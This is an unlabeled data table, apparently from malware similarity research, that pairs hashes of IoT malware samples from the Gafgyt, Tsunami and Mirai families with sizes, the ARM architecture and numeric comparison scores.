9601127ac0e1eeae8295ee802e9697e81e256415 0.82 Gafgyt 172385 arm 0 1 e8ecf8b972a0852cdcaf70f51bb04e045fc520ac 1 Tsunami 310722 arm 0 0 0 25 0 0 12.5 0.18 25 
de800b14f90196f98d12676fca5adcb5da82ede7 0.96 Gafgyt 164300 arm 0 0 e8ecf8b972a0852cdcaf70f51bb04e045fc520ac 1 Tsunami 310722 arm 0 0 0 25 0 0 12.5 0.04 25 
6c85dc8d17edbdd216a136c4cef22513db3888a0 0.96 Gafgyt 156343 arm 0 0 e8ecf8b972a0852cdcaf70f51bb04e045fc520ac 1 Tsunami 310722 arm 0 0 0 24 0 0 12 0.04 24 
9601127ac0e1eeae8295ee802e9697e81e256415 0.82 Gafgyt 172385 arm 0 1 a8e39be1a67fd03f8252a72c7b27f9b6e018e2d9 0.59 Tsunami 115130 arm 0 1 0 24 0 0 6 0.23 24 
120cc483dff57454f6f2c7b41101d4e1401e85f4 0.09 Mirai 55828 arm 1 1 564ee75e74f60567a405c2a23d1473e89a07319d 0.12 Gafgyt 47472 arm 1 1 0 0 0 23 5.75 0.03 23 
0d4f59523b8c8397ebb5a8b825db9ac1388db686 0.12 Mirai 58500 arm 1 1 122e5a8a8b8b3ee16f7e78c332173302825d3504 0.15 Gafgyt 56696 arm 1 1 0 0 0 20 5 0.03 20 
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